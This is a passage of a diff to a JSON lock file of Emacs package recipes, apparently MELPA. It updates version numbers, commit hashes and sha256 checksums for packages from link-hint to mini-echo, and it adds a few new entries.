"91d8f57f11f5ddbb5e94cb23877c67a8f59d4d8c", + "sha256": "0pvyfnf7qy6m0gwbmr74lvmrki6cpm9k836bbrsjdh7rip4k6xrq" }, "stable": { "version": [ @@ -69757,14 +70189,14 @@ "repo": "noctuid/link-hint.el", "unstable": { "version": [ - 20230405, - 1801 + 20231225, + 1354 ], "deps": [ "avy" ], - "commit": "36ce929331f2838213bcaa1145ece4b73ce84afe", - "sha256": "0154dls98zxpdjy8kzcrk9zp5i0aa180rsfr3hsmgq4ayq6v19yv" + "commit": "9153eafc776549376bb85d9ff555fef83aca8285", + "sha256": "0bdmd8df8qhk48imk22sgwccyiw1xg9x6hmiwh4d8xiazj0fhaym" } }, { @@ -69860,17 +70292,17 @@ }, { "ename": "liquidmetal", - "commit": "9aa2004e04ef2f1fbfdd722b271c7cdcbdc8ad10", - "sha256": "0f7xp490nd4ff43pi5g911hsbcvlxzj5wx26b6lflhhnljkh5fsv", + "commit": "6aa37a96aac63a93bea6171a8b4aa732f2df7ab8", + "sha256": "0qkfjw0mmcw7s1bf3ranvkl5nz5sg2lbqlbs1w42534279xf541a", "fetcher": "github", - "repo": "jcs-elpa/liquidmetal", + "repo": "jcs-legacy/liquidmetal", "unstable": { "version": [ - 20220704, - 654 + 20240101, + 1004 ], - "commit": "323c38edd4572d7d58cdec729dcaac7a615d000d", - "sha256": "0dli0zid2myf4b0l8d9nrhhs34dwyqrza1hyba4m9fsa29znp41p" + "commit": "5d100f4371e0d10656a2bd23c0461781c3c1884b", + "sha256": "1410248xhadhx1898gdzcqkpp4g8y9kv773mk3v66403j845nbl0" }, "stable": { "version": [ @@ -70160,20 +70592,20 @@ "repo": "publicimageltd/lister", "unstable": { "version": [ - 20230204, - 1357 + 20240102, + 1500 ], - "commit": "b256c254f670ebaf50134655fbe430025fff41ab", - "sha256": "151wn6g49w15bjnqbnq12ig7f9zdi5d1j21yadp0jvb9jjzk6jg1" + "commit": "84fbba7450ac02cbb844727a28b6f245f553df7b", + "sha256": "1jwyp7k8lnjbi4aa8av50547qkhh76xqhjqibc6qzv0jxxx2kfwa" }, "stable": { "version": [ 0, 9, - 4 + 6 ], - "commit": "35d485f53907d75e5135b177a2e1ab4de2a20a48", - "sha256": "1w9kay6mx58g82gs90i0df10p2hxc3nv748nah53wbp2s2lwchgp" + "commit": "84fbba7450ac02cbb844727a28b6f245f553df7b", + "sha256": "1jwyp7k8lnjbi4aa8av50547qkhh76xqhjqibc6qzv0jxxx2kfwa" } }, { @@ -70304,15 +70736,15 @@ "repo": "sulami/literate-calc-mode.el", "unstable": { "version": [ - 20231021, - 804 + 20231125, + 29 ], "deps": [ "dash", "s" ], - "commit": "2579d7b28994bb16c3e02577953e7d9669121288", - "sha256": "03hzahbjv19krp9jfrh1haqicm9n8ldb05swvbwzy6cq1paslhj9" + "commit": "a1a78f26dea70aac1c4df7f5767c8f5c1643d7d1", + "sha256": "1asy8g4jsivgqjjlbp8h3q0ksjjwdfvd0sp09ha8cm0n9f991201" } }, { @@ -70440,11 +70872,11 @@ "repo": "lassik/emacs-live-preview", "unstable": { "version": [ - 20201010, - 1948 + 20231215, + 1612 ], - "commit": "603a4a1759fbec92e7a1cabc249517c78e59ce7e", - "sha256": "1kbfv6qs1wpj0ydg9mc139ifn29rnk6c9p6y5jnvzj15qbd0iih4" + "commit": "135f2b9a8ecf81d00cf92175d144a33561e36f4c", + "sha256": "0a276lcajs3dvd6yz86iikx30g8l1w75yj9s301fci5cmggpd3k9" }, "stable": { "version": [ @@ -70464,20 +70896,20 @@ "repo": "donkirkby/live-py-plugin", "unstable": { "version": [ - 20231004, - 537 + 20231219, + 314 ], - "commit": "5a94b98a15fb8c4c539b37d8583db1e427308b44", - "sha256": "0y23dfncncfpddhxqf449d46qrc10bnhdb516yydkqqa6q5jlysb" + "commit": "a7529311e9a60b26b562a98f00feeb09ef640afe", + "sha256": "0qvzky3bihgimym84k14gd8fa57cgvqq8y7wsic6kjdhqq3qchhf" }, "stable": { "version": [ 4, 11, - 0 + 2 ], - "commit": "5a94b98a15fb8c4c539b37d8583db1e427308b44", - "sha256": "0y23dfncncfpddhxqf449d46qrc10bnhdb516yydkqqa6q5jlysb" + "commit": "ae29b9dfca83a83037d780424a85d617cddd2e47", + "sha256": "0pj4hxi3cl1nhvbmqsh2vh654b20zvqychxr2i70nwhjax8yq6kd" } }, { @@ -70578,14 +71010,14 @@ "repo": "tarsius/llama", "unstable": { "version": [ - 20230831, - 2227 + 20240101, + 2218 ], "deps": [ "seq" ], - "commit": "a938ac0ae7890cfaf3281beb13f5c2fa75b337fa", - "sha256": "1srpvf6jdwcm64r7pw62xzngzfr09pscvhfkqinq0dpkfbgwgzcx" + "commit": "05c14ca9bcc63f4afa27fc18df1c32ab63b8ed7b", + "sha256": "1a4b2whjv1lnnz1wmqj9g0l2hk41rgi9njqmjssgwlf3484bcq79" }, "stable": { "version": [ @@ -70608,14 +71040,29 @@ "repo": "kurnevsky/llama-cpp.el", "unstable": { "version": [ - 20231015, - 717 + 20231228, + 2043 ], "deps": [ "dash" ], - "commit": "3e406c53cb82ec1be056dcef40ac37d474852524", - "sha256": "01jy3va6d02z2y9a5abzc3jajmwzcbfkz8p9q4hi8zp0b66ji35r" + "commit": "e876c05eca8ffadc39d3c5013c2581f1e9f8f94f", + "sha256": "0pxhz02k7kswv37j45rrcssc29xnk3x738p9ysvybldbix5pbq9h" + } + }, + { + "ename": "llvm-ts-mode", + "commit": "7ba6724bdc73f5bf89ee1ba2ea1ab608ef58e9fd", + "sha256": "0c03nlqh5zqh97a5y8ixajq9nh2pcdaixa9lpv29kpnx06rmkgla", + "fetcher": "github", + "repo": "nverno/llvm-ts-mode", + "unstable": { + "version": [ + 20231120, + 1251 + ], + "commit": "9974601dcddbeffc4ad47598d63d3c1a83bb6fb9", + "sha256": "0fc7rkcy9xn6hzlrnjmjyvghrgwip7vmpkwhc2xzncckmxm0ypvh" } }, { @@ -70649,14 +71096,14 @@ "repo": "daviderestivo/load-bash-alias", "unstable": { "version": [ - 20230310, - 1657 + 20240103, + 916 ], "deps": [ "seq" ], - "commit": "5daab364e65bdd7abe531b8557d88342b446f0c0", - "sha256": "1ri3plim7zk5k01fnvc82xy8p4nrzq17k63dgqgfrw615wid2sfk" + "commit": "7e7b6773f99e6aafe819596388a3a7fd09dd91a9", + "sha256": "1aj7v9hb01789lvf4hkn01x9x7vivwlrh2lwwrblxbww4csg9rrg" } }, { @@ -70789,20 +71236,20 @@ "repo": "aki2o/log4e", "unstable": { "version": [ - 20211019, - 948 + 20240123, + 1313 ], - "commit": "737d275eac28dbdfb0b26d28e99da148bfce9d16", - "sha256": "1yagzwai4l9cf8am6a3fixv7n6yv81vx2yc4lcwdavclk81ghfrz" + "commit": "6d71462df9bf595d3861bfb328377346aceed422", + "sha256": "1x08dz18zhifkhrwdbh57izzidaf6vy1vb865f4xrqs6blgfiwj4" }, "stable": { "version": [ 0, - 3, - 3 + 4, + 1 ], - "commit": "7df0c1ff4656f8f993b87064b1567618eadb5546", - "sha256": "0dbnks76v05allzkhx9zmyqpn6sk5376n8k2rbpnaw6gmz1ib2fv" + "commit": "6d71462df9bf595d3861bfb328377346aceed422", + "sha256": "1x08dz18zhifkhrwdbh57izzidaf6vy1vb865f4xrqs6blgfiwj4" } }, { @@ -70890,16 +71337,16 @@ "repo": "jcs-elpa/logms", "unstable": { "version": [ - 20220704, - 654 + 20240101, + 942 ], "deps": [ "f", "ht", "s" ], - "commit": "186478e47265b7d40b87d4b4277275a0031f09f7", - "sha256": "1dmz4qhlcv6qd8gv1diq36k5dqjjaj84a770mszv8q0sj3wbjcxy" + "commit": "ef571d7ab8b2809363197e6867bfc1fbff5d14b7", + "sha256": "19cq2sshk7ag76a28q2l039a6d126jiws06mfi1b7kkg1n5fsksm" }, "stable": { "version": [ @@ -70918,17 +71365,17 @@ }, { "ename": "lognav-mode", - "commit": "a5b0dadc609d13737d56657c17a945f10e840222", - "sha256": "1fg2j63f6yaf4011vla36p1p0pjixzisff4wj80vh634yqvwp4ys", - "fetcher": "hg", - "url": "https://hg.osdn.net/view/lognav-mode/lognav-mode", + "commit": "c9cffcacb8af80318020e02d0e38c653673dcb14", + "sha256": "0jz526nzx0cswclk068vwpwayh2ias25mpdwdx047gdnbnicl9jq", + "fetcher": "github", + "repo": "ellisvelo/lognav-mode", "unstable": { "version": [ - 20220410, - 1344 + 20240115, + 1637 ], - "commit": "100541ec31468b771073a7d2ad4512c1dcb1eb07", - "sha256": "11kk4irx6mgq4frfbwinx9bw1lg5nyk4js137j50rq3wfgkbjsbs" + "commit": "139da9eb356b4432f416d1db49fdbfa46fb1bf8d", + "sha256": "02nswq9fa8dg3sv128814qak9bp7cxxx041jjlawmia1qc5grhb8" }, "stable": { "version": [ @@ -71264,15 +71711,15 @@ "repo": "LaurenceWarne/lsp-cfn.el", "unstable": { "version": [ - 20230701, - 1533 + 20240112, + 921 ], "deps": [ "lsp-mode", "yaml-mode" ], - "commit": "afef283ae27dc7dfbec997982ba5dc0e062f0a03", - "sha256": "1nfq1x6xi345hyk92gac3kpp1jkn1gfml810di3m2pp54j75wiv7" + "commit": "2297533003118ebd9db0116b4d3486a987e98ca9", + "sha256": "1sh6gggfxl6yy3rg389xsqg00gbh87a6pihl05sbrq1am98yqc8g" } }, { @@ -71327,8 +71774,8 @@ "repo": "emacs-lsp/lsp-docker", "unstable": { "version": [ - 20230824, - 947 + 20231121, + 1644 ], "deps": [ "dash", @@ -71338,8 +71785,8 @@ "s", "yaml" ], - "commit": "6b7701917417e4e74961185051c147e1bf003750", - "sha256": "0xnc9lbjflwdhslp8z44dk0dqsq4x9zirwbzgfg95ai2z76ldmny" + "commit": "60e1103ac7c8e30d036ea65fad489210682d6259", + "sha256": "1y3x2p0f7c2igg9cckk2g5x5cpypa9f2iyfi9ai0hdx60n7gkmrm" } }, { @@ -71382,8 +71829,8 @@ "repo": "emacs-grammarly/lsp-grammarly", "unstable": { "version": [ - 20230814, - 1827 + 20240101, + 847 ], "deps": [ "grammarly", @@ -71392,8 +71839,8 @@ "request", "s" ], - "commit": "ac651a717af5e1effcd853846957fa0e85d82061", - "sha256": "0rzl1qv1q2sjizxwxx8i1v4wjr0h04xz96aklvg8z810gi3vf92g" + "commit": "7b3597e19c50452124f532c3c47f40c0e33f6e91", + "sha256": "1xxyyfpn8dnqciypl826k6nimsjng1cyy68i8fypcvay88001qdp" }, "stable": { "version": [ @@ -71647,14 +72094,14 @@ "repo": "emacs-languagetool/lsp-ltex", "unstable": { "version": [ - 20230416, - 1826 + 20240101, + 851 ], "deps": [ "lsp-mode" ], - "commit": "c2faddc1197a360548aee7927b6512365e8c0d3a", - "sha256": "1mc5gsgw5m2sysi73jvrnnyyhpqdvwmhw843rwfh2djmiy6smwl9" + "commit": "ef649bfaeea2931ef41d7c27b819ea9c41b6fba6", + "sha256": "0841jbz2aiwzi5agwrj819wx2v5ml1fgbwgsdnn8z9c9l5gcrvk2" }, "stable": { "version": [ @@ -71724,8 +72171,8 @@ "repo": "emacs-lsp/lsp-mode", "unstable": { "version": [ - 20231115, - 1221 + 20240202, + 947 ], "deps": [ "dash", @@ -71736,8 +72183,8 @@ "markdown-mode", "spinner" ], - "commit": "91dbd0240afb5223b2ddfca8326d1c2fb3e8cf7f", - "sha256": "1anibzm7w9arzqpfm6p01v0522j022g2mwa01w0p1idwg6jjiivf" + "commit": "b2e54388072e472fa5e873a441a90eaa78062105", + "sha256": "1jp55xd7r6kj8z5rdxgqssg58a658crhajnss572ifrmns00fa9m" }, "stable": { "version": [ @@ -71992,6 +72439,36 @@ } }, { + "ename": "lsp-shader", + "commit": "acaf68d2f9e687283189193393fd74d2528c092b", + "sha256": "1py58xayvxc7pdmxhj2hjas3gjawvypv5s7xb45rfymv424xms9b", + "fetcher": "github", + "repo": "shader-ls/lsp-shader", + "unstable": { + "version": [ + 20240101, + 952 + ], + "deps": [ + "lsp-mode" + ], + "commit": "65b90c66222043dfed07e193670eb8e9e9a396b5", + "sha256": "1kvp5bbq8xs4mqs991zqrrbn7hilnmy6fbykzh6ck9smrw80r77r" + }, + "stable": { + "version": [ + 0, + 0, + 1 + ], + "deps": [ + "lsp-mode" + ], + "commit": "ac0de807b52d32b0e7ed3b216ab6d539bbb328de", + "sha256": "1jqdik1mhmws4pfxwz85xinf6ad9cpz8x6qp5vb49ibhy577i23d" + } + }, + { "ename": "lsp-sonarlint", "commit": "b46e83f2ea2c4df1ef343c79c7e249605c9639b3", "sha256": "0lrgmjb0d26vll5ys8s23axd93irkzslswk1s4lkcivxqs4jbs1l", @@ -72366,16 +72843,16 @@ "repo": "SqrtMinusOne/lyrics-fetcher.el", "unstable": { "version": [ - 20220717, - 1716 + 20231225, + 2350 ], "deps": [ "emms", "f", "request" ], - "commit": "a3be34b0153c2c056dc4b55bbc5fbdc2d9f87549", - "sha256": "1nyajjxidp2acsbpkbv4whcph6bmwjn31nii2y87xsj8cdv0wrx7" + "commit": "bcde34a7ae8db84170bfe76260eefed64686ddf0", + "sha256": "1ldim9sj9i8mdvsbwv2zs095zbr71z4rksjk8288rkbddhsg72xy" }, "stable": { "version": [ @@ -72477,14 +72954,14 @@ "repo": "amake/macports.el", "unstable": { "version": [ - 20231104, - 139 + 20240113, + 1224 ], "deps": [ "transient" ], - "commit": "e70bdc860a047cdd22f0b6f3edea06adc94d0d7f", - "sha256": "0izgvmz5xz65s6g7zpllma03hjcgzwc7icbcvfljvsn8mk01zp8b" + "commit": "75604bb57040be06eabf41669e6e2553afa8f7ba", + "sha256": "1vkis7ahl08n9xfdisf2w2p0aih3jmb1apcccsaqy5b7bn9dc381" } }, { @@ -72600,14 +73077,14 @@ "repo": "emacs-php/magic-filetype.el", "unstable": { "version": [ - 20230916, - 441 + 20240130, + 1805 ], "deps": [ "s" ], - "commit": "fce1eaade148eb0dc4ce1d27a4763e280fe48466", - "sha256": "0z5xh9bkrf3b4yh0d56jaca62abjr4g0gg72ns2mmy1n653jmz8z" + "commit": "3979ddbd8066d7390e31bde2b35f997c5f5f4516", + "sha256": "1av77kjpd303m62rskhrl7075sc8wjz9znqz2gz958pfsq9mhs7g" }, "stable": { "version": [ @@ -72648,23 +73125,26 @@ "repo": "roadrunner1776/magik", "unstable": { "version": [ - 20230817, - 1258 + 20240203, + 1805 ], "deps": [ "compat" ], - "commit": "327be988d4c9938ca5d04b6e37bc922525b6de93", - "sha256": "0jp3fkgd6jdg1zqpfycd7ry94n7cl1pp8m0mxii6rx52pnrw520c" + "commit": "52cd8f34f3de2d221677302ad4ce27c699803364", + "sha256": "1p3jj6gfxakka0kr93pl6l8vdzj2idhkhrcnv0kirzd2kb6l483r" }, "stable": { "version": [ 0, - 2, - 1 + 3, + 0 ], - "commit": "545232bde1f8f9c6b74a7a31d9e1620d23979a9a", - "sha256": "1csjnda32xwn8yhf58n4b7j5p8si3wilds1vby5nb5j7aq8baaxr" + "deps": [ + "compat" + ], + "commit": "688451a7616032a6c1a98ec627860e1d4257814b", + "sha256": "0bcp4vlhw2nvqfb4rl4iq05hghqwandkbvyp36992jnm9r7l149a" } }, { @@ -72675,8 +73155,8 @@ "repo": "magit/magit", "unstable": { "version": [ - 20231112, - 914 + 20240125, + 1835 ], "deps": [ "compat", @@ -72687,8 +73167,8 @@ "transient", "with-editor" ], - "commit": "f4ff817cb2a48f0f7887050c3be469c03a059567", - "sha256": "0y0sfxky27yx0wsxfbqydigm2x4596dyf1x1psn66gfgjm9yjcff" + "commit": "54d37dc14c3f715dd0328a70bc65d63c54ee9613", + "sha256": "1h7iylrlgyz3i52vbrxrr7a2lna26ky496r76i15fz4znvzd1wq1" }, "stable": { "version": [ @@ -72715,15 +73195,15 @@ "repo": "magit/magit-annex", "unstable": { "version": [ - 20231010, - 425 + 20231210, + 2140 ], "deps": [ "cl-lib", "magit" ], - "commit": "7c308decfc56270a0cf3cc8292c3bf7122103331", - "sha256": "0z2h6lc42whjh7wmf1cajzqy4f1nqy4m2h51pm01b7ldk0kz5j5z" + "commit": "056f0d4462cdccbd7bb7589994da7fef9de766da", + "sha256": "1fwy7q03d8q1hnwnd86pygpf9l4lgfgslp6claxsyp840ibrxq5z" }, "stable": { "version": [ @@ -73178,15 +73658,15 @@ "repo": "magit/magit", "unstable": { "version": [ - 20231014, - 1405 + 20240114, + 13 ], "deps": [ "compat", "dash" ], - "commit": "22c99839c9fad89461412f153a290779cf3af82c", - "sha256": "1qxr3nfs7nnnn41gxsc1lmr6pyvc5yyrzsh9snvgwa8n9d2593kr" + "commit": "efb6c0df175eaf35b7a83833194621bdf9cc0d71", + "sha256": "135cmkrpn44radcndn63j53hwvxpdf92aj2rj1vcbgrp565s5ylz" }, "stable": { "version": [ @@ -73224,15 +73704,15 @@ "repo": "stacked-git/magit-stgit", "unstable": { "version": [ - 20220914, - 1349 + 20231226, + 1514 ], "deps": [ "magit", "magit-popup" ], - "commit": "bf96fa0f40c087329ad7e6a3b1946de7df03559c", - "sha256": "03342kkk9lmi0i59slzyl0h8flj90z3nvnmg5p2b9zgvclylscp8" + "commit": "59d1eb355caf4adbbdf1e351f5861de61b0b5efa", + "sha256": "0inv7xcm9nf3q5cf2l0vmi3kgwak4xbp3nk8ksna0nk8rxqwpy5v" }, "stable": { "version": [ @@ -73318,8 +73798,8 @@ "repo": "alphapapa/magit-todos", "unstable": { "version": [ - 20231027, - 1452 + 20231216, + 1205 ], "deps": [ "async", @@ -73331,8 +73811,8 @@ "s", "transient" ], - "commit": "a197a04da1620ee7d41f3aa4f846a479760e2273", - "sha256": "16xdf60mw6lwklw2p2cv081c728d4qfrazrb36nq8pxxzz56bxas" + "commit": "debb77b3589f2d83c8b43706edc1f8f90bf1ad91", + "sha256": "0rsr49zh8xbmh967zj1yxp6g38amvnfd96dlhnngp6bqgcznslyf" }, "stable": { "version": [ @@ -73822,14 +74302,14 @@ "repo": "jcs-elpa/manage-minor-mode-table", "unstable": { "version": [ - 20220616, - 1932 + 20240101, + 931 ], "deps": [ "manage-minor-mode" ], - "commit": "e47d0e1856f0a9eb9935abdaf6e14e67ef2ab4cc", - "sha256": "1aqmm5r0wqdfvac3nqwpali2b8lk7vwjs9fww5dhcwmsna8mr9vk" + "commit": "ed492f13f71f7897b50da9acd49a7540b0f81a3f", + "sha256": "1bjvxj9wrvxpcgqsivfivgxqpxx4y9n39gvck1ffj0vfrvc6ghj2" }, "stable": { "version": [ @@ -73852,11 +74332,11 @@ "repo": "choppsv1/emacs-mandm-theme", "unstable": { "version": [ - 20231102, - 1929 + 20231203, + 334 ], - "commit": "b173b41743d3e9668df2ec59df0378d8295d9902", - "sha256": "1fg86pl4v023rpaaapgzbg2gskc6vp2ha2rkgbmq9c2f5ca9y7sl" + "commit": "a410c2b66f514bdeb546b7fe8e2d9fee675096ac", + "sha256": "0j164b2dg7m815anvli1y5k7zgf5k6qm8gssr4bjp8xrpxbcn989" } }, { @@ -74005,25 +74485,25 @@ "repo": "minad/marginalia", "unstable": { "version": [ - 20231028, - 907 + 20240105, + 701 ], "deps": [ "compat" ], - "commit": "e4ff0838da33bf5102ee009ff28d541f0b51c9a3", - "sha256": "0q83ia4dh0jj17m8s66ps7nfzib8656w2ig6w2jnmv63qfzfyx3d" + "commit": "ea356ebb1ddb8d6da78574b517155475cf52d46f", + "sha256": "15zq9071f1dd6a26x4y51yk9l5rkwb3vnm6qa7z8gvhhj15n8glb" }, "stable": { "version": [ 1, - 3 + 5 ], "deps": [ "compat" ], - "commit": "8cffd7dcdb411f8796258183a4224653d407ae3f", - "sha256": "0fjbif2l5fj4xjb9drqfc8zxla8y7mha0imdd1nm4x83i0y4fa6l" + "commit": "98f6e58c12d57283bd7c1cb241664c966dc38ac3", + "sha256": "12ncif2lv6d7r2g87lyjr7idbqa283ijb3qgd5a61i3760czs7d6" } }, { @@ -74147,11 +74627,11 @@ "repo": "jrblevin/markdown-mode", "unstable": { "version": [ - 20231028, - 853 + 20240107, + 831 ], - "commit": "b1a862f0165b7bafe0f874738a55be1b1720dd7d", - "sha256": "0r9z4vlan1255118kdand9mr9rkdr8kmvrxr9q8bclyz8dk6fr54" + "commit": "e096bb97a91fcd4dc2b46d8b6e093194b03b7364", + "sha256": "1bzinzr94637kl8aqk2jxmhj57jabq5xjs8fqnmi39an2nv98bh0" }, "stable": { "version": [ @@ -74393,11 +74873,11 @@ "repo": "jcs-elpa/marquee-header", "unstable": { "version": [ - 20221230, - 1008 + 20240101, + 930 ], - "commit": "1fee5bbec486d0755954f5cafda67f342dc7daa1", - "sha256": "1i5ysf6sh8ziaqwg3bk80psig6gi4psl6xqjna59hdi0xnb4nly8" + "commit": "cb5c17be49fcf96614364eb12079351bf4d749a4", + "sha256": "1mcxfzfmlhzj1r77l82d4q9baidcmkb087rmf1ia1f2vz0xjmz5n" }, "stable": { "version": [ @@ -74477,28 +74957,28 @@ "repo": "martianh/mastodon.el", "unstable": { "version": [ - 20231030, - 1922 + 20240201, + 1500 ], "deps": [ "persist", "request" ], - "commit": "a8c80d25b7790746a439ae6c2deea3dc6bcac710", - "sha256": "143wmg9jhdi79y1gdi0y9xxpp8vyn7qbhvaysq1sf7g1h0jskxc2" + "commit": "d93fb56ef0e29956dc55befff84301b5b4eed548", + "sha256": "151190hcafm0r8pi053lm7akjli3m55q676sa3i3fy9c0pc4bhz8" }, "stable": { "version": [ 1, 0, - 13 + 14 ], "deps": [ "persist", "request" ], - "commit": "a8c80d25b7790746a439ae6c2deea3dc6bcac710", - "sha256": "143wmg9jhdi79y1gdi0y9xxpp8vyn7qbhvaysq1sf7g1h0jskxc2" + "commit": "d93fb56ef0e29956dc55befff84301b5b4eed548", + "sha256": "151190hcafm0r8pi053lm7akjli3m55q676sa3i3fy9c0pc4bhz8" } }, { @@ -74852,26 +75332,26 @@ "repo": "knu/mc-extras.el", "unstable": { "version": [ - 20231113, - 1359 + 20231206, + 1655 ], "deps": [ "multiple-cursors" ], - "commit": "abd98a7c92e71d38494a6bf20853f3ff20e1f013", - "sha256": "0zv8cxhyqkxc3gyyzd18zygjy0xd3fk1x3v5h24yr998wg0fb050" + "commit": "8718cbdaa7bf3dd5c0f30c66a36a6bfbdf7f07c1", + "sha256": "1xrlp192wi51qpzgpkn9ph5zlpj08ifd8r3444llskyv0bay6g14" }, "stable": { "version": [ 1, - 2, - 4 + 3, + 0 ], "deps": [ "multiple-cursors" ], - "commit": "f0ba639e9b18cc56e80ae45bbb2b694dbad9171a", - "sha256": "0d6ncj6zd0lfsdpffbh3l25ycjw5hn0rwi5znp5hpl06b1ycyk4s" + "commit": "8718cbdaa7bf3dd5c0f30c66a36a6bfbdf7f07c1", + "sha256": "1xrlp192wi51qpzgpkn9ph5zlpj08ifd8r3444llskyv0bay6g14" } }, { @@ -75115,20 +75595,17 @@ }, { "ename": "memento-mori", - "commit": "a2561f33ee4f19fe191b9ac2662ac931a5b91395", - "sha256": "0k7gird1v7vgjbbldpjkdvgs55v7kb8bpr2kkvawm3kswh1sw11v", + "commit": "705564010a3af784c0fd00fe1b1cc5a20d73172b", + "sha256": "03jzg1dvw4vxxb5xmi75rizzz9xn5q906bjxydqsv9jp1njng4ri", "fetcher": "github", - "repo": "lassik/emacs-memento-mori", + "repo": "gvol/emacs-memento-mori", "unstable": { "version": [ - 20190628, - 2147 - ], - "deps": [ - "cl-lib" + 20231220, + 155 ], - "commit": "52f95bd4cf6617b60dc204c9bccb8d8fa17d4f9e", - "sha256": "1z5zfyywjaalqpfdj2mxbgwnhp15swr05f1p1vy908lcc9ig0pnk" + "commit": "880df15f3b8ab49deb77586549a2afdec95778b5", + "sha256": "153iyz0pxsah1sn2c3x01m2ssclz9jzp2q9ynybr9ly0xl11qnzf" } }, { @@ -75216,11 +75693,11 @@ "repo": "meow-edit/meow", "unstable": { "version": [ - 20231005, - 1938 + 20240130, + 922 ], - "commit": "f885c02e1c72da722dfc681af30476096528dc5a", - "sha256": "0di4pwyz8mbj1x5pbyhrnmi1idyxqb05w1msays1ayv6qc2xjjhv" + "commit": "f5ca6e7417701e4016215a101283b43c1875d035", + "sha256": "18s809gcnnp6swxjvdq4np49d7pr790jxq8f9br7za062fviaab4" }, "stable": { "version": [ @@ -75240,11 +75717,11 @@ "repo": "ocaml/merlin", "unstable": { "version": [ - 20231115, - 1306 + 20231201, + 918 ], - "commit": "53eaad5df01bbdabc9e655dbadebc302d0475f31", - "sha256": "1a2snly1iraxmyal8f61jj0zhcywmyzq6gglf1fqmmcx3xpv8xra" + "commit": "ad9955c76b1cb031e847e139c5cf7b7cc5cb4696", + "sha256": "08p6zx4swycc4wi5rhynyip24skwhg0y1zlz4krrs9ar6m2lmfwm" }, "stable": { "version": [ @@ -75366,6 +75843,36 @@ } }, { + "ename": "mermaid-docker-mode", + "commit": "b7025dacc079cfceeaf0588dc7957ee8a86e2bde", + "sha256": "09wa3v4kqr67b7kw8ak4g66nm6hv22dgra5w78j95981dcw5fix0", + "fetcher": "github", + "repo": "KeyWeeUsr/mermaid-docker-mode", + "unstable": { + "version": [ + 20231126, + 1943 + ], + "deps": [ + "mermaid-mode" + ], + "commit": "9d3421e02704f50e2e695d8dbe6fbb7eb5f2371f", + "sha256": "0lxbb2qfkfg9rmf2x9xy08zmfc934rprx809lai83593vakyf9pp" + }, + "stable": { + "version": [ + 1, + 2, + 0 + ], + "deps": [ + "mermaid-mode" + ], + "commit": "9d3421e02704f50e2e695d8dbe6fbb7eb5f2371f", + "sha256": "0lxbb2qfkfg9rmf2x9xy08zmfc934rprx809lai83593vakyf9pp" + } + }, + { "ename": "mermaid-mode", "commit": "8729575400003db47638b4c45c425608e15c333d", "sha256": "1r9dv10p2bahygz1f151bp481289b184d80jbh575pdmlxkqd79f", @@ -75373,11 +75880,11 @@ "repo": "abrochard/mermaid-mode", "unstable": { "version": [ - 20230905, - 1916 + 20240123, + 1729 ], - "commit": "4cdc76e459d184fc241b607e9da131ebce9f4ce2", - "sha256": "1kad50hgj4xgiy9pi51y4rnqvvbw4glwb3afxv7rql54bvrzzfbm" + "commit": "d8bfb8c819cda9ead19c871842f6b0b8d56c56c0", + "sha256": "0vsnyn2g8525k9vgmifzix9gd1g3149h54ni6rrc1y05h91883fv" } }, { @@ -75403,11 +75910,11 @@ "repo": "wentasah/meson-mode", "unstable": { "version": [ - 20210820, - 905 + 20240109, + 1656 ], - "commit": "1a2e2abb098c9288c2cdb3affbad76edd98abf59", - "sha256": "1bpy0iw5h7vrd3vwzk12bq6b134812dwbxxwsbsmbsk0ji4xyyq3" + "commit": "1ea3bb5ca324db474cca61d3f41f20ff1dce8633", + "sha256": "14fgfcfgfr439n2i3hapn47gzajaysmzqn4238q2nbk3g7ii5baf" }, "stable": { "version": [ @@ -75706,8 +76213,8 @@ "repo": "danielsz/meyvn-el", "unstable": { "version": [ - 20221206, - 2219 + 20231213, + 230 ], "deps": [ "cider", @@ -75718,8 +76225,8 @@ "projectile", "s" ], - "commit": "493e652b8fffcbed226f69a2ea82e6f9fc51ab08", - "sha256": "1k5r4k2l31vxn7cmfl2ijzlay4klyr66ljzp3c779mz967f0sf5h" + "commit": "3afb0a4283afd4f63ef7fdd48eb5da972421fd7a", + "sha256": "1flxvaj8j5kg4r0cvns8z1xixgvsavq1i27z28j97m8dmndihihf" }, "stable": { "version": [ @@ -75738,11 +76245,11 @@ "repo": "purpleidea/mgmt", "unstable": { "version": [ - 20230925, - 2253 + 20240122, + 2052 ], - "commit": "53f9f352335857736f625a019fe14c6750f78434", - "sha256": "13jx2ndbjqa5rgslaplx551nnm240pdzcw7bx63wihk85c617lyg" + "commit": "a8f194259bd36e63410f972b210542fa0cfb67ce", + "sha256": "1g9mm5i0z8q0abpw1ji9bsjydylxrws39qy5ncbqhqjdvbards7j" }, "stable": { "version": [ @@ -75849,14 +76356,14 @@ "repo": "SqrtMinusOne/micromamba.el", "unstable": { "version": [ - 20230708, - 926 + 20231225, + 2320 ], "deps": [ "pythonic" ], - "commit": "ce97237986668c31d9b023348f1ef16199276794", - "sha256": "182iz522899cc7qm5dc79vnph5jmcpm2hqi259xxs2hdl6mrx8y1" + "commit": "cd3ce4b7142790f25f20e5cfd6ed5ebbf4498c6c", + "sha256": "1bsz301jrlwpcsyyjsvyasbpfm6midn628a5f39xrxi69w0mzww7" } }, { @@ -75867,14 +76374,14 @@ "repo": "emacs-jp/migemo", "unstable": { "version": [ - 20200913, - 12 + 20231120, + 842 ], "deps": [ "cl-lib" ], - "commit": "f756cba3d5268968da361463c2e29b3a659a3de7", - "sha256": "0q2mljzkpci6p8svz17xz48kv4yhh86irg2dpypk0k2dlyr8gykx" + "commit": "7d78901773da3b503e5c0d5fa14a53ad6060c97f", + "sha256": "1098lf50fcm25wb41g1b27wg8hc3g2w6cgjq02sc8pq6qnrr0ql2" }, "stable": { "version": [ @@ -75983,20 +76490,20 @@ "repo": "liuyinz/mini-echo.el", "unstable": { "version": [ - 20231115, - 13 + 20240202, + 1904 ], - "commit": "5dfd1608d384be3176c4f06fef908933e2fd4a02", - "sha256": "0pknwad9mm0szb4a0ar7wrc8lnwn45vf3vfq0wbflh6071mdnmkv" + "commit": "7cf704501f6bbca754771adc9ac5100417d0f663", + "sha256": "01vx0a65cpjjvxfspk1jcmb4iw6pf7480w4kg4jdzy32qgmgs1lh" }, "stable": { "version": [ 0, - 5, - 4 + 7, + 1 ], - "commit": "58b7c6129f941d4eb6cb5c04525970f8e409623a", - "sha256": "146nlsflzfbsdkwni15vhassq7kgf4xjn7vlwn05v1sny2wpscg2" + "commit": "17fa60805fcee8cf5865908a183a11148e46faa2", + "sha256": "1slpb43jry32g48fd33arb4rv3y4r574nnz8681d2zn2nnjh4vs3" } }, { @@ -76138,7 +76645,7 @@ }, 